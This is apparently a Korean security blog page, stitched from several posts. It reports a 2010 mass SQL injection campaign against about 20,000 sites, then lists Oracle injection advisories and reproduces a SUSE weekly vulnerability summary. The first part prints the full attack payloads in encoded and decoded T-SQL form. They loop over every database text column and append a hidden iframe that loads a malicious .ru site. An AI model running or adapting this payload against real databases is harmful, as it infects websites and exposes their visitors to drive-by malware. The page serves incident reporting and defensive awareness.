[MOONSLAB.com]

http://moonslab.com/1047

http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-012/

국내 2만 여개 사이트 동시 감염, 새로운 SQL 인젝션 공격 발생해

공격 코드 #1.
declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
55f435552736f7220%20as%20varchar(4000));exec(@s);--

공격 코드 #2.
declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320
566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--

공격 코드 #1.
dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

공격 코드 #2.
declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set ['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR

주: 차이점은 declare 단어의 대소문자입니다.

공격 코드 #1 & #2.
<iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1"  width="0" height="0" style="display:none"></iframe>

http://moonslab.com/921

1. SQL Injection Vulnerability in Oracle Database Using "SYS.DBMS_AQIN" http://bit.ly/9OzZKC

2. SQL Injection/Privilege Escalation Vuln Oracle DB using DBMS_AQADM_SYS http://bit.ly/cNinMD

3. SQL injection vuln in Oracle 10gR1 DB using SYS.DBMS_STREAMS_AUTH http://bit.ly/9d1H2N

4. SQL Injection vuln in Oracle with ".ALTER_AUTOLOG_CHANGE_SOURCE" function http://bit.ly/bHcLh2

5. SYS.KUPW$WORKER SQL injection/ privilege escalation in Oracle 10g Release 1 http://bit.ly/d1uuQ7

6. SYS.DBMS_CDC_IMPDP SQL injection/ privilege escalation in Oracle 10g Release 1 http://bit.ly/bRDTNi

7. SYS.DBMS_STATS SQL injection/ privilege escalation in Oracle 10g Release 1 http://bit.ly/anpA8t

8. SYS.DBMS_DBUPGRADE SQL injection/ privilege escalation in Oracle 10g http://bit.ly/d1yzYp

       발표일:                   Mon, 02 Aug 2010 15:00:00 +0000
       취약점 참조목록:CVE-2009-2625, CVE-2009-2663, CVE-2009-3560
                                CVE-2009-3700, CVE-2009-3720, CVE-2009-3826
                                CVE-2009-4270, CVE-2010-0211, CVE-2010-0212
                                CVE-2010-0395, CVE-2010-0438, CVE-2010-0547
                                CVE-2010-0653, CVE-2010-0731, CVE-2010-0733
                                CVE-2010-0787, CVE-2010-0926, CVE-2010-1166
                                CVE-2010-1169, CVE-2010-1170, CVE-2010-1321
                                CVE-2010-1325, CVE-2010-1411, CVE-2010-1459
                                CVE-2010-1507, CVE-2010-1512, CVE-2010-1628
                                CVE-2010-1639, CVE-2010-1640, CVE-2010-1869
                                CVE-2010-1975, CVE-2010-1993, CVE-2010-2023
                                CVE-2010-2024, CVE-2010-2055, CVE-2010-2059
                                CVE-2010-2063, CVE-2010-2067, CVE-2010-2074
                                CVE-2010-2077, CVE-2010-2228, CVE-2010-2229
                                CVE-2010-2230, CVE-2010-2231, CVE-2010-2251
                                CVE-2010-2451, CVE-2010-2452, CVE-2010-2480
                                CVE-2010-2494, CVE-2010-2532, CVE-2010-2713
                                CVE-2010-2785

    해결된 보안 취약점 목록
            - OpenOffice_org
            - apache2-slms
            - aria2
            - bogofilter
            - cifs-mount/samba
            - clamav
            - exim
            - ghostscript-devel
            - gnutls
            - krb5
            - kvirc
            - lftp
            - libpython2_6-1_0
            - libtiff
            - libvorbis
            - lxsession
            - mono-addon-bytefx-data-mysql/bytefx-data-mysql
            - moodle
            - openldap2
            - opera
            - otrs
            - popt
            - postgresql
            - python-mako
            - squidGuard
            - vte
            - w3m
            - xmlrpc-c
            - XFree86/xorg-x11
            - yast2-webclient
       

   To avoid flooding mailing lists with SUSE Security Announcements for minor
   issues, SUSE Security releases weekly summary reports for the low profile
   vulnerability fixes. The SUSE Security Summary Reports do not list or
   download URLs like the SUSE Security Announcements that are released for
   more severe vulnerabilities.

   Fixed packages for the following incidents are already available on our FTP
   server and via the YaST Online Update.

   - OpenOffice_org
     This update of OpenOffice_org does not allow macros written in Python to
     be executed without permission, CVE-2010-0395.
     This also provides the maintenance update to OpenOffice.org-3.2.1.
     Details about all upstream changes can be found at
     http://development.openoffice.org/releases/3.2.1.html
     Affected Products: SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - apache2-slms
     Insufficient quoting of parameters in SLMS could allow for
     cross-site-request-forgery (CSRF) attacks (CVE-2010-1325).
     Affected Products: SLE11

   - aria2
     This aria2 update to 1.9.3 fixes a metalink name Directory Traversal
     issue (CVE-2010-1512).
     Affected Products: openSUSE 11.2
    
   - bogofilter
     This update of bogofilter/bogolexer fixes a heap based buffer underflow
     vulnerability which could be exploited to cause a denial of service or
     potentially execute arbitrary code (CVE-2010-2494).
     Affected Products: SLE11, openSUSE 11.0, 11.1, 11.2

   - cifs-mount/samba
     This update of the Samba server package fixes security issues and bugs.
     Following security issues were fixed:
     - CVE-2010-2063: A buffer overrun was possible in chain_reply code in
                      3.3.x and below, which could be used to crash the
                      samba server or potentially execute code.
     - CVE-2010-0787: Take extra care that a mount point of mount.cifs is
                      not changed during mount.
     - CVE-2010-0926: With enabled "wide links" samba follows symbolic links
                      on the server side, therefore allowing clients to
                      overwrite arbitrary files. This update changes the
                      default setting to have "wide links" disabled by default.
                      The new default only works if "wide links" is not set
                      explicitly in smb.conf.
     - CVE-2010-0547: Due to a race condition in mount.cifs a local attacker
                      could corrupt /etc/mtab if mount.cifs is installed setuid
                      root. mount.cifs is not setuid root by default and it is
                      not recommended to change that.
     Affected Products: SLES9, SLE10-SP3, SLE11, openSUSE 11.0, 11.1

   - clamav
     This update fixes a off-by-one buffer overflow (CVE-2010-1640) and a
     crash while parsing PDFs (CVE-2010-1639, CVE-2010-2077) in clamav
     that can be used as a remote denial of service attack.
     Affected Products: SLES9, SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - exim
     Two local vulnerabilities have been fixed in the exim MTA
     which allowed attackers to create arbitrary files or
     to change ownership of arbitrary files. CVE-2010-2023 and
     CVE-2010-2024 have been assigned to these issues.
     Affected Products: openSUSE 11.1, 11.2, 11.3

   - ghostscript
     Specially crafted postscript (.ps) files could cause buffer
     overflows in ghostscript that could potentially be exploited to
     execute arbitrary code (CVE-2010-1628, CVE-2010-1869, CVE-2009-4270)
     Additionally ghostscript, by default, reads some initialization files from
     the current working directory. Local attackers could potentially exploit
     that to have other users execute arbitrary commands by placing such
     files e.g. in /tmp (CVE-2010-2055).
     Affected Products: SLE11, openSUSE 11.0, 11.1, 11.2, 11.3

   - gnutls
     The ASN.1 parser for X.509 certificates used a wrong integer type for
     extracting a certficiate's serial number. On 64bit big-endian
     architectures this could result in bypassing CRL checks (CVE-2010-0731).
     Affected Products: SLES9

   - krb5
     This update fixes a denial-of-service vulnerability in kadmind. A
     remote attack can send a malformed GSS-API token that triggers a
     NULL pointer dereference.
     (CVE-2010-1321: CVSS v2 Base Score: 6.8 (MEDIUM) (AV:N/AC:L/Au:S/C:N/I:N/A:C))
     Affected Products: SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - kvirc
     This update of KVirc fixes a remotely exploitable format string and
     directory traversal vulnerability (CVE-2010-2451, CVE-2010-2452).
     Additionally KVirc does not further allow remote client to send
     arbitrary CTCP commands. (CVE-2010-2785)
     Affected Products: openSUSE 11.1, 11.2, 11.3

   - lftp
     This update of lftp improves the filename handling of downloaded files
     to avoid downloading arbitrary content to unexpected locations (like
     .login). (CVE-2010-2251)
     Affected Products: openSUSE 11.0, 11.1, 11.2

   - libpython2_6-1_0
     This update of python has a copy of libxmlrpc that is vulnerable to
     denial of service bugs that can occur while processing malformed XML
     input.
     - CVE-2009-2625: CVSS v2 Base Score: 5.0: Permissions, Privileges,
                      and Access Control (CWE-264)
     - CVE-2009-3720: CVSS v2 Base Score: 5.0: Insufficient Information
     - CVE-2009-3560: CVSS v2 Base Score: 5.0: Buffer Errors (CWE-119)
     Affected Products: SLES9, SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - libtiff
     This update of libtiff fixes several integer overflows that could lead
     to a corrupted heap memory. This bug can be exploited remotely with a
     crafted TIFF file to cause an application crash or probably to execute
     arbitrary code. (CVE-2010-1411)
     Affected Products: SLES9, SLE10-SP3, openSUSE 11.0, 11.1, 11.2

   - libvorbis
     This update of libvorbis fixes a memory corruption while parsing OGG
     files. This bug was exploitable by remote attackers to cause an
     application crash and could probably be exploited to execute arbitrary
     code.
     CVE-2009-2663: CVSS v2 Base Score: 6.8: Resource Management Errors (CWE-399)
     Affected Products: SLES9, SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - lxsession
     lxsession-logout did not properly lock the screen before suspending,
     hibernating and switching between users which could allow attackers with
     physical access to take control of the system to obtain sensitive infor-
     mation and / or execute arbitrary code in the context of the user who is
     currently logged in (CVE-2010-2532).
     Affected Products: openSUSE 11.3

   - mono-addon-bytefx-data-mysql/bytefx-data-mysql
     Mono's ASP.NET implementation did not set the 'EnableViewStateMac'
     property by default. Attackers could exploit that to conduct cross-
     site-scripting (XSS) attacks. (CVE-2010-1459)
     Affected Products: SLE10-SP2, SLE11, openSUSE 11.0, 11.1, 11.2

   - moodle
     Moodle was prone to several Cross-Site Scripting (XSS) vulnerabilities
     (CVE-2010-2228, CVE-2010-2229, CVE-2010-2230, CVE-2010-2231).
     Affected Products: openSUSE 11.0, 11.1

   - openldap2
     Specially crafted MODRDN operations can crash the OpenLDAP server.
     (CVE-2010-0211 and CVE-2010-0212)
     Affected Products: openSUSE 11.0

   - opera
     Opera was upgraded to the 10.60 release.
     - CVE-2010-0653: Opera permits cross-origin loading of CSS style sheets
                      even when the style sheet download has an incorrect
                      MIME type and the style sheet document is malformed,
                      which allows remote HTTP servers to obtain sensitive
                      information via a crafted document.
     - CVE-2010-1993: Opera 9.52 does not properly handle an IFRAME element
                      with a mailto: URL in its SRC attribute, which allows
                      remote attackers to cause a denial of service (resource
                      consumption) via an HTML document with many IFRAME
                      elements.
     Affected Products: openSUSE 11.0, 11.1, 11.2, 11.3

   - otrs
     OTRS was prone to multiple SQL-injection vulnerabilities which could
     allow remote authenticated attackers to execute arbitrary SQL code via
     unspecified vectors. (CVE-2010-0438)
     Affected Products: openSUSE 11.0, 11.1, 11.2

   - popt
     This update fixes the problem where RPM misses to clear the SUID/SGID
     bit of old files during package updates. (CVE-2010-2059)
     Affected Products: openSUSE 11.0

   - postgresql
     This update of postgresql was pblished to fix several minor security
     vulnerabilities:
     - CVE-2010-1975: postgresql does not properly check privileges during
                      certain RESET ALL operations, which allows remote
                      authenticated users to remove arbitrary parameter
                      settings.
     - CVE-2010-1170: The PL/Tcl implementation in postgresql loads Tcl
                      code from the pltcl_modules table regardless of the
                      table's ownership and permissions, which allows remote
                      authenticated users, with database-creation privileges,
                      to execute arbitrary Tcl code.
     - CVE-2010-1169: Postgresql does not properly restrict PL/perl procedures,
                      which allows remote authenticated users, with database-
                      creation privileges, to execute arbitrary Perl code via
                      a crafted script.
     - CVE-2010-0733: An integer overflow in postgresql allows remote authen-
                      ticated users to crash the daemon via a SELECT statement.
     Affected Products: SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - python-mako
     Python-mako was prone to a Cross-Site Scripting flaw due to improperly
     escaped single quotes (CVE-2010-2480).
     Affected Products: openSUSE 11.2, 11.3

   - squidGuard
     Two buffer overflows in squidGard were fixed:
     - CVE-2009-3700: Buffer overflow in sgLog.c in squidGuard 1.3 and 1.4
                      allows remote attackers to cause a denial of service
                      (application hang or loss of blocking functionality)
                      via a long URL with many / (slash) characters, related
                      to "emergency mode."
     - CVE-2009-3826: Multiple buffer overflows in squidGuard 1.4 allow remote
                      attackers to bypass intended URL blocking via a long URL,
                      related to (1) the relationship between a certain buffer
                      size in squidGuard and a certain buffer size in Squid and
                      (2) a redirect URL that contains information about the
                      originally requested URL.
     Affected Products: openSUSE 11.1, 11.2, 11.3

   - vte
     VTE was vulnerable to an old title set+query attack which could be used
     by remote attackers to execute arbitrary code (CVE-2010-2713).
     Affected Products: openSUSE 11.2, 11.3

   - w3m
     w3m did not handle embedded nul characters in the common name and in
     subject alternative names of x509 certificates.
     CVE-2010-2074 has been assigned to this issue.
     This update also turns on verification of x509 certificates by default
     which was not the case before.
     Affected Products: SLE10-SP3, SLE11, openSUSE 11.0, 11.1, 11.2

   - xmlrpc-c
     This update of libxmlrpc is not vulnerable to denial of service bugs
     that can occur while processing malformed XML input.
     - CVE-2009-2625: CVSS v2 Base Score: 5.0: Permissions, Privileges,
                      and Access Control (CWE-264)
     - CVE-2009-3720: CVSS v2 Base Score: 5.0: Insufficient Information
     - CVE-2009-3560: CVSS v2 Base Score: 5.0: Buffer Errors (CWE-119)
     Affected Products: SLES9, SLE11

   - XFree86/xorg-x11
     X clients could cause a memory corruption in the X Render extension
     which crashes the X server (CVE-2010-1166).
     Affected Products: SLES9, SLE10-SP3

   - yast2-webclient
     WebYaST generates the secret key used to create session cookies
     after package installation. Since WebYaST appliances use
     pre-installed images all such instances end up using the same secret
     key (CVE-2010-1507).